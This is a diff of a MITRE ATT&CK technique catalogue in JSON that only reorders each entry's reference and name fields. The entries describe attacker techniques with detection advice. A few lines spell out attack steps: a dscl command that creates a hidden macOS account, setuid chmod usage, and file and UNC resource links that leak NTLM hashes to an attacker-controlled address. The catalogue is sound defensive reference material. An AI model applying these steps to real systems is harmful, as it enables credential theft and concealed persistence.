SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Application Logs, DLL monitoring, Loaded DLLs, Process Monitoring, Windows Registry, Windows event logs\n\nDefense Bypassed: Application whitelisting, Autoruns Analysis, Digital Certificate Validation, Process whitelisting, User Mode Signature Validation\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Matt Graeber, @mattifestation, SpecterOps",
- "value": "SIP and Trust Provider Hijacking - T1198",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1198",
- "https://msdn.microsoft.com/library/ms537359.aspx",
- "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx",
- "https://specterops.io/assets/resources/SpecterOps%20Subverting%20Trust%20in%20Windows.pdf",
- "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/",
- "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files",
- "https://github.com/mattifestation/PoCSubjectInterfacePackage",
- "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165",
- "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)",
- "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"
- ],
"external_id": "T1198",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -3209,17 +3195,26 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1198",
+ "https://msdn.microsoft.com/library/ms537359.aspx",
+ "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx",
+ "https://specterops.io/assets/resources/SpecterOps%20Subverting%20Trust%20in%20Windows.pdf",
+ "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/",
+ "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files",
+ "https://github.com/mattifestation/PoCSubjectInterfacePackage",
+ "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165",
+ "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)",
+ "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"
]
},
- "uuid": "72b5ef57-325c-411b-93ca-a3ca6fa17e31"
+ "uuid": "72b5ef57-325c-411b-93ca-a3ca6fa17e31",
+ "value": "SIP and Trust Provider Hijacking - T1198"
},
{
"description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context.\n\nDetection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User",
- "value": "Setuid and Setgid - T1166",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1166"
- ],
"external_id": "T1166",
"kill_chain": [
"mitre-attack:enterprise-attack:privilege-escalation"
@@ -3232,24 +3227,17 @@
"mitre_platforms": [
"Linux",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1166"
]
},
- "uuid": "c0df6533-30ee-4a4a-9c6d-17af5abdf0b2"
+ "uuid": "c0df6533-30ee-4a4a-9c6d-17af5abdf0b2",
+ "value": "Setuid and Setgid - T1166"
},
{
"description": "The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary, or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials, or reuse it for Pass the Hash. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n*A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened. The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n*A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\n\nDetection: Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\n\nPlatforms: Windows\n\nData Sources: File monitoring, Network protocol analysis, Network device logs, Process use of network\n\nPermissions Required: User\n\nContributors: Teodor Cimpoesu, Sudhanshu Chauhan, @Sudhanshu_C",
- "value": "Forced Authentication - T1187",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1187",
- "https://en.wikipedia.org/wiki/Server%20Message%20Block",
- "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/",
- "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx",
- "https://github.com/hob0/hashjacking",
- "https://www.cylance.com/content/dam/cylance/pdfs/white%20papers/RedirectToSMB.pdf",
- "https://www.us-cert.gov/ncas/alerts/TA17-293A",
- "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/"
- ],
"external_id": "T1187",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -3262,19 +3250,24 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1187",
+ "https://en.wikipedia.org/wiki/Server%20Message%20Block",
+ "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/",
+ "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx",
+ "https://github.com/hob0/hashjacking",
+ "https://www.cylance.com/content/dam/cylance/pdfs/white%20papers/RedirectToSMB.pdf",
+ "https://www.us-cert.gov/ncas/alerts/TA17-293A",
+ "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/"
]
},
- "uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2"
+ "uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
+ "value": "Forced Authentication - T1187"
},
{
"description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access. \n\nCompromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)\n\nDetection: Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs, Process monitoring\n\nEffective Permissions: User, Administrator\n\nDefense Bypassed: Anti-virus, Firewall, Host intrusion prevention systems, Network intrusion detection system, Process whitelisting, System access controls\n\nPermissions Required: User, Administrator",
- "value": "Valid Accounts - T1078",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1078",
- "https://technet.microsoft.com/en-us/library/dn535501.aspx",
- "https://technet.microsoft.com/en-us/library/dn487457.aspx"
- ],
"external_id": "T1078",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -3290,17 +3283,19 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1078",
+ "https://technet.microsoft.com/en-us/library/dn535501.aspx",
+ "https://technet.microsoft.com/en-us/library/dn487457.aspx"
]
},
- "uuid": "b17a1a56-e99c-403c-8948-561df0cffe81"
+ "uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
+ "value": "Valid Accounts - T1078"
},
{
"description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using Tasklist, and \"net start\" using Net, but adversaries may also use other tools as well.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM",
- "value": "System Service Discovery - T1007",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1007"
- ],
"external_id": "T1007",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -3311,21 +3306,17 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1007"
]
},
- "uuid": "322bad5a-1c49-4d23-ab79-76d641794afa"
+ "uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
+ "value": "System Service Discovery - T1007"
},
{
"description": "Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including:\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)\n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011)\n\nDetection: Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Web proxy, File monitoring",
- "value": "Supply Chain Compromise - T1195",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1195",
- "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities",
- "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/",
- "https://www.commandfive.com/papers/C5%20APT%20SKHack.pdf",
- "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf"
- ],
"external_id": "T1195",
"kill_chain": [
"mitre-attack:enterprise-attack:initial-access"
@@ -3338,18 +3329,21 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1195",
+ "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities",
+ "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/",
+ "https://www.commandfive.com/papers/C5%20APT%20SKHack.pdf",
+ "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf"
]
},
- "uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7"
+ "uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7",
+ "value": "Supply Chain Compromise - T1195"
},
{
"description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).\n\nDetection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\n\nPlatforms: macOS\n\nData Sources: Authentication logs, File monitoring\n\nPermissions Required: Administrator, root",
- "value": "Hidden Users - T1147",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1147",
- "https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty"
- ],
"external_id": "T1147",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -3360,17 +3354,18 @@
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1147",
+ "https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty"
]
},
- "uuid": "ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff"
+ "uuid": "ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff",
+ "value": "Hidden Users - T1147"
},
{
"description": "===Windows===\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.\n\n===Mac===\n\nOn Mac, the currently logged in user can be identified with users,w, and who.\n\n===Linux===\n\nOn Linux, the currently logged in user can be identified with w and who.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator",
- "value": "System Owner/User Discovery - T1033",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1033"
- ],
"external_id": "T1033",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -3384,18 +3379,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1033"
]
},
- "uuid": "03d7999c-1f4c-42cc-8373-e7690d318104"
+ "uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "value": "System Owner/User Discovery - T1033"
},
{
"description": "Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
- "value": "Multiband Communication - T1026",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1026",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"external_id": "T1026",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -3411,20 +3405,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1026",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
- "uuid": "99709758-2b96-48f2-a68a-ad7fbd828091"
+ "uuid": "99709758-2b96-48f2-a68a-ad7fbd828091",
+ "value": "Multiband Communication - T1026"
},
{
"description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)\n\nDetection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as a target system and Kerberos authentication enabled.\n\nContributors: Ryan Becwar, Vincent Le Toux",
- "value": "Pass the Ticket - T1097",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1097",
- "https://adsecurity.org/?p=556",
- "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf",
- "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
- ],
"external_id": "T1097",
"kill_chain": [
"mitre-attack:enterprise-attack:lateral-movement"
@@ -3434,19 +3426,20 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1097",
+ "https://adsecurity.org/?p=556",
+ "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf",
+ "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
]
},
- "uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c"
+ "uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c",
+ "value": "Pass the Ticket - T1097"
},
{
"description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)\n\nDetection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WinRM listener turned on and configured on remote system\n\nRemote Support: Yes",
- "value": "Windows Remote Management - T1028",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1028",
- "http://msdn.microsoft.com/en-us/library/aa384426",
- "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"
- ],
"external_id": "T1028",
"kill_chain": [
"mitre-attack:enterprise-attack:execution",
@@ -3461,21 +3454,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1028",
+ "http://msdn.microsoft.com/en-us/library/aa384426",
+ "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"
]
},
- "uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39"
+ "uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39",
+ "value": "Windows Remote Management - T1028"
},
{
"description": "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.\n\nDetection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.\n\nPlatforms: macOS\n\nData Sources: Process Monitoring, File monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator",
- "value": "Launch Daemon - T1160",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1160",
- "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf",
- "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf"
- ],
"external_id": "T1160",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence",
@@ -3487,19 +3478,21 @@
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1160",
+ "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
+ "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
+ "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf",
+ "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf"
]
},
- "uuid": "e99ec083-abdd-48de-ad87-4dbf6f8ba2a4"
+ "uuid": "e99ec083-abdd-48de-ad87-4dbf6f8ba2a4",
+ "value": "Launch Daemon - T1160"
},
{
"description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.\n\nDetection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.\n\nPlatforms: macOS\n\nData Sources: System calls, Process Monitoring\n\nPermissions Required: Administrator",
- "value": "Keychain - T1142",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1142",
- "https://en.wikipedia.org/wiki/Keychain%20(software)",
- "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
- ],
"external_id": "T1142",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -3510,17 +3503,19 @@
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1142",
+ "https://en.wikipedia.org/wiki/Keychain%20(software)",
+ "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
]
},
- "uuid": "9e09ddb2-1746-4448-9cad-7f8b41777d6d"
+ "uuid": "9e09ddb2-1746-4448-9cad-7f8b41777d6d",
+ "value": "Keychain - T1142"
},
{
"description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process monitoring, File monitoring\n\nPermissions Required: User",
- "value": "Audio Capture - T1123",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1123"
- ],
"external_id": "T1123",
"kill_chain": [
"mitre-attack:enterprise-attack:collection"
@@ -3534,20 +3529,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1123"
]
},
- "uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967"
+ "uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
+ "value": "Audio Capture - T1123"
},
{
"description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)\n\nDetection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
- "value": "Custom Cryptographic Protocol - T1024",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1024",
- "https://www.f-secure.com/documents/996508/1030745/cosmicduke%20whitepaper.pdf",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
- ],
"external_id": "T1024",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -3563,17 +3555,20 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1024",
+ "https://www.f-secure.com/documents/996508/1030745/cosmicduke%20whitepaper.pdf",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
+ "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
]
},
